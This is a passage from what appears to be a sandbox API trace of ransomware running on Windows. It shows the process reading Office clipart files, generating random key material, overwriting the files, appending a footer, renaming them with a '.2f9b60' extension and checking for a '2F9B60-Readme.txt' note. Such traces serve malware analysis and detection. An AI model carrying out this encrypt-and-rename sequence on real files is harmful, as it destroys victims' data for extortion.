Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe9c [0096.072] GetFileSizeEx (in: hFile=0xe9c, lpFileSize=0x2a81f880 | out: lpFileSize=0x2a81f880*=8582) returned 1 [0096.072] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x2182, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.072] ReadFile (in: hFile=0xe9c, lpBuffer=0x2a81f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a81f848, lpOverlapped=0x0 | out: lpBuffer=0x2a81f800*, lpNumberOfBytesRead=0x2a81f848*=0x4, lpOverlapped=0x0) returned 1 [0096.097] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860720 [0096.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0096.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f670 [0096.097] NtQuerySystemTime (in: CurrentTime=0x2a81f740 | out: CurrentTime=0x2a81f740*=132462177019378000) returned 0x0 [0096.097] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x765d23f3 [0096.097] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x5966c41 [0096.097] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x697bf587 [0096.097] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x7a659634 [0096.097] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x85c61c8 [0096.097] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0xfa2b9c1 [0096.097] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x6cf9ddd6 [0096.097] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x5d849f48 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x6a648f8e [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0xa951173 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x2ed4d4e2 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x169a8dd4 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x1dbcc45f [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x49f31c67 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x764e1b4a [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x4382f449 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x7238a5a9 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x15faf76c [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x1675c2ea [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x18ceded [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x18dffd5e [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x14f49cc4 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x5415e6ef [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x4a44e713 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x41e89b4b [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x211091f [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x6a648f8e [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x2d1e0e9a [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x5a6b583f [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x7c5e8339 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x3438c8a3 [0096.098] RtlRandomEx (in: Seed=0x2a81f730 | out: Seed=0x2a81f730) returned 0x4b3d4adc [0096.112] ReadFile (in: hFile=0xe9c, lpBuffer=0x201e6910, nNumberOfBytesToRead=0x2186, lpNumberOfBytesRead=0x2a81f730, lpOverlapped=0x0 | out: lpBuffer=0x201e6910*, lpNumberOfBytesRead=0x2a81f730*=0x2186, lpOverlapped=0x0) returned 1 [0096.224] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.224] WriteFile (in: hFile=0xe9c, lpBuffer=0x201ea520*, nNumberOfBytesToWrite=0x2186, lpNumberOfBytesWritten=0x2a81f734, lpOverlapped=0x0 | out: lpBuffer=0x201ea520*, lpNumberOfBytesWritten=0x2a81f734*=0x2186, lpOverlapped=0x0) returned 1 [0100.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261760 [0100.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261790 [0100.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261790) returned 1 [0100.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ea520) returned 1 [0100.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201e6910) returned 1 [0100.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0100.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0100.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261790 [0100.972] SetFilePointerEx (in: hFile=0xe9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.972] WriteFile (in: hFile=0xe9c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2a81f850, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2a81f850*=0x10a, lpOverlapped=0x0) returned 1 [0105.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630e0 [0105.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202630e0) returned 1 [0105.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630e0 [0105.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630b0 [0105.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202630b0) returned 1 [0105.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0105.321] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="eb") returned 2 [0105.321] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="26") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="ee") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="57") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="5e") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="18") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="16") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="b0") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="0d") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="39") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="ea") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="1d") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="aa") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="62") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="22") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="1d") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="47") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="ba") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="a6") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="01") returned 2 [0105.322] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="27") returned 2 [0105.323] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="bd") returned 2 [0105.323] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="4b") returned 2 [0105.323] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="72") returned 2 [0105.323] RtlInitAnsiString (in: DestinationString=0x2a81f8c8, SourceString="eb26ee575e1816b00d39ea1daa62221d47baa60127bd4b72" | out: DestinationString="eb26ee575e1816b00d39ea1daa62221d47baa60127bd4b72") [0105.323] RtlAnsiStringToUnicodeString (in: DestinationString=0x2a81f898, SourceString="eb26ee575e1816b00d39ea1daa62221d47baa60127bd4b72", AllocateDestinationString=1 | out: DestinationString="eb26ee575e1816b00d39ea1daa62221d47baa60127bd4b72") returned 0x0 [0105.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863960 [0105.323] wcscat (in: _Dest=0x202b19b0, _Source="eb26ee575e18" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18" [0105.323] wcscat (in: _Dest=0x202b19b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60" [0105.323] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60", NtPathName=0x2a81f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279070 [0109.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279070) returned 1 [0109.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051af0) returned 1 [0109.397] NtQueryInformationFile (in: FileHandle=0xe9c, IoStatusBlock=0x2a81f8d8, FileInformation=0x2a81f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a81f8d8, FileInformation=0x2a81f8e8) returned 0x0 [0109.397] NtSetInformationFile (FileHandle=0xe9c, IoStatusBlock=0x2a81f8d8, FileInformation=0x2a81f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b19b0) returned 1 [0109.421] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863960) returned 1 [0109.421] FlushFileBuffers (hFile=0xe9c) returned 1 [0109.427] CloseHandle (hObject=0xe9c) returned 1 [0109.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b19b0 [0109.429] wcscpy (in: _Dest=0x202b19b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.429] wcscat (in: _Dest=0x202b19b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b19b0) returned 1 [0109.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a720) returned 1 Thread: id = 661 os_tid = 0x1138 [0096.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0106.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF", dwFileAttributes=0x20) returned 1 [0106.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15a4 [0106.481] GetFileSizeEx (in: hFile=0x15a4, lpFileSize=0x29dffc00 | out: lpFileSize=0x29dffc00*=4894) returned 1 [0106.481] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x131a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.481] ReadFile (in: hFile=0x15a4, lpBuffer=0x29dffb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29dffbc8, lpOverlapped=0x0 | out: lpBuffer=0x29dffb80*, lpNumberOfBytesRead=0x29dffbc8*=0x4, lpOverlapped=0x0) returned 1 [0106.484] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0106.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0106.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.485] NtQuerySystemTime (in: CurrentTime=0x29dffac0 | out: CurrentTime=0x29dffac0*=132462177119686000) returned 0x0 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x1fdd538c [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x15c1cff8 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x6ad911f2 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x3a1fd833 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x4a6d45ca [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x6da4988d [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x3ee98dc1 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x55d1bfdf [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x6a5c324e [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x37683071 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x73ba3511 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x606b2b9 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x7ba5ce87 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x2f399daa [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x2244fa51 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x4901f921 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x6f2fff3 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x633bd8cb [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x481a2ab0 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x667f5278 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x3350d255 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x7b70e80d [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0xb8aef65 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x72b0c3e [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x5ff85f1e [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x6fb41fe2 [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x402e9f5f [0106.485] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x236c208b [0106.486] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x645135c2 [0106.486] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x324c5860 [0106.486] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0xcf1b6e7 [0106.486] RtlRandomEx (in: Seed=0x29dffab0 | out: Seed=0x29dffab0) returned 0x6e28ff59 [0106.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8370 [0106.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0106.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0106.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eae130 [0106.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eaa520 [0106.496] ReadFile (in: hFile=0x15a4, lpBuffer=0x41eae130, nNumberOfBytesToRead=0x131e, lpNumberOfBytesRead=0x29dffab0, lpOverlapped=0x0 | out: lpBuffer=0x41eae130*, lpNumberOfBytesRead=0x29dffab0*=0x131e, lpOverlapped=0x0) returned 1 [0106.502] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.502] WriteFile (in: hFile=0x15a4, lpBuffer=0x41eaa520*, nNumberOfBytesToWrite=0x131e, lpNumberOfBytesWritten=0x29dffab4, lpOverlapped=0x0 | out: lpBuffer=0x41eaa520*, lpNumberOfBytesWritten=0x29dffab4*=0x131e, lpOverlapped=0x0) returned 1 [0106.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85b0 [0106.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0106.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0106.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eaa520) returned 1 [0106.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eae130) returned 1 [0106.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced80d0 [0106.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8880 [0106.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0106.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0106.526] SetFilePointerEx (in: hFile=0x15a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.526] WriteFile (in: hFile=0x15a4, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x29dffbd0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x29dffbd0*=0x10a, lpOverlapped=0x0) returned 1 [0106.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.544] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="f9") returned 2 [0106.544] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="61") returned 2 [0106.544] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="f8") returned 2 [0106.544] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="83") returned 2 [0106.544] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="a9") returned 2 [0106.544] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="09") returned 2 [0106.544] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="ac") returned 2 [0106.544] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="6a") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="7d") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="55") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="93") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="b7") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="40") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="81") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="3d") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="fe") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="98") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="ab") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="bc") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="15") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="5a") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="98") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="a2") returned 2 [0106.545] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="0e") returned 2 [0106.545] RtlInitAnsiString (in: DestinationString=0x29dffc48, SourceString="f961f883a909ac6a7d5593b740813dfe98abbc155a98a20e" | out: DestinationString="f961f883a909ac6a7d5593b740813dfe98abbc155a98a20e") [0106.545] RtlAnsiStringToUnicodeString (in: DestinationString=0x29dffc18, SourceString="f961f883a909ac6a7d5593b740813dfe98abbc155a98a20e", AllocateDestinationString=1 | out: DestinationString="f961f883a909ac6a7d5593b740813dfe98abbc155a98a20e") returned 0x0 [0106.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced58d0 [0106.545] RtlFreeAnsiString (AnsiString="f") [0106.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.546] RtlFreeHeap 